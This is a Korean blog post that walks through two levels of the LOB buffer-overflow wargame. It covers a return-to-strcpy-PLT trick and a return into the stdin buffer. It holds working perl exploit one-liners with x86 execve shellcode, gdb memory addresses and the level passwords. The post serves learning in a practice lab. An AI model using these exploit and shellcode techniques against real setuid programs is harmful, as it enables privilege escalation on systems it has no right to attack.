Post

LOB succubus ~ nightmare → xavius - strcpy / stdin과 fgets

succubus : strcpy succubus : strcpy

succubus - here to stay / strcpy

strcpy의 PLT 주소로 리턴해야만 한다. ret이후 4byte를 제외한 공간을 사용할 수 있다. ret+4byte를 제외한 이유는 이전 문제처럼 풀지 않도록 하기 위해서 인 듯.

strcpy의 PLT 주소는 0x08048410

PLT-GOT resolve 과정에 문제가 있는게 아니라, main에서 strcpy로 리턴하면서 src와 dest를 내 마음대로 정할 수 있다는게 문제.

strcpy의 dest에 retAddr이 있는 곳을 넘겨 수정하면 내가 원하는 곳으로 리턴할 수 있다.

(strcpy를 이용하면 FSB처럼 메모리의 어떤 공간에 접근해서 그 부분에 데이터를 쓸 수 있다.)

strcpy를 call하고 난 직후 stack의 최상단에 dest, src가 순서대로 존재한다.

쉘코드를 환경변수 PASS로 추가한 다음, 41414141이 되버린 ret+4 지점을 strcpy를 이용해 PASS의 주소로 덮어쓰면 쉘코드로 실행 흐름을 변경할 수 있다.

dest는 ret+4의 주소가 되겠고, src는 쉘코드의 주소를 가지고 있는 또 다른 환경변수 PASSBOX의 주소가 되겠다. 단, PASSBOX에 PASS의 주소를 넣을 때 little endian으로 정렬해서 넣어야, 메모리에 주소가 big endian으로 들어가서 dest에 썼을 때 big endian이다.

export PASS=perl -e 'print "\x90"x64, "\x31\xc0\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'

PASS=0xbffffc0c, PASSBOX=0xbffffcaa

buffer = 0xbffffa30

ebp - 0x28이 buffer니까

0xbffffa58 = ebp(sfp)이므로

0xbffffa60 = ret+4다.

[succubus@localhost succubus]$ ./nightmare perl -e 'print "b"x44, "\x10\x84\x04\x08", "AAAA", "\x60\xfa\xff\xbf", "\xaa\xfc\xff\xbf"'

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAA`▒▒▒▒▒▒▒

euid = 518

beg for me

succubus : strcpy

nightmare - beg for me : stdin과 fgets

stack, code segment로 리턴할 수 없다. ret을 제외한 나머지 stack을 사용할 수 없다. 입력은 argv가 아니라 stdin으로 받는다. fgets(buffer, 256, stdin); library로 리턴할 경우 NOP가 2개 나올 때 까지(0x00009090와 memcmp) 반복문을 돌리는데, leave와 ret을 만나면 exit한다.

NOP 2개가 나오는 지점을 찾아보는 방법이 있을 것 같고, leave없이 바로 ret하는 곳을 찾는 것도 가능해 보인다. 그러나, 0x00009090과 2byte memcmp해서 library 검사 들어가니까 9090인 주소를 찾는 등의 방법으로 library 검사를 피해서 library로 리턴했다고 쳐도, ret을 제외한 나머지 stack을 사용할 수 없기 때문에 쉘코드로 다시 리턴하는게 불가능하다.

다른 방법을 찾아야한다. stdin으로 입력을 받고, library를 40이 아니라 9090으로 체크한 이유가 stdin의 buffer를 사용하라는 뜻이다.

stdin으로 넘긴 데이터도 메모리의 어느 공간에는 존재 하고, fgets는 이 공간의 데이터를 변수에 쓰게된다.

fgets 호출 직전 esp

(gdb) x/4x $esp

0xbffffa70: 0xbffffa80 0x00000100 0x401068c0

0xbffffae0 : buffer

0x00000100 : size

0x401068c0 : stdin

fgets 호출 직전 stdin

0x401068c0 <_IO_2_1_stdin_>: 0xfbad2088 0x00000000 0x00000000 0x00000000

fgets 수행 직후 stdin

0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x4001501f 0x4001501f 0x40015000

2017/05/09 - [System/LINUX & UNIX] - stdin _IO_FILE structure <_IO_2_1_stdin_> / fgets versus argv

네번째 entry를 조회해보면 user가 입력한 데이터가 들어있다.

(gdb) x/s 0x40015000

0x40015000: ‘b’ <repeats 30 times>, “\n”

stdin으로 쉘코드를 넘기고 0x40015000 + 쉘코드 길이로 ret하면 되겠다.

[nightmare@localhost nightmare]$ perl -e ‘print “b”x44, “\x40\x50\x01\x40”, “\x90”x32, “\x31\xc0\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”’ | ./xavius bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb@P@▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Phpassh/my-h/bin▒▒PS▒▒° ̀ euid = 519 throw me away

[nightmare@localhost nightmare]$ cat /proc/807/maps

08048000-08049000 r-xp 00000000 08:06 177446 /home/nightmare/tttttt

08049000-0804a000 rw-p 00000000 08:06 177446 /home/nightmare/tttttt

40000000-40013000 r-xp 00000000 08:08 34138 /lib/ld-2.1.3.so

40013000-40014000 rw-p 00012000 08:08 34138 /lib/ld-2.1.3.so

40014000-40016000 rw

p 00000000 00:00 0

40018000-40105000 r-xp 00000000 08:08 34145 /lib/libc-2.1.3.so

40105000-40109000 rw-p 000ec000 08:08 34145 /lib/libc-2.1.3.so

40109000-4010d000 rw-p 00000000 00:00 0

bfffe000-c0000000 rwxp fffff000 00:00 0

실행 권한이 없는데 그냥 실행된다. 커널 버전이 낮아서 그런건가..

This post is licensed under CC BY 4.0 by the author.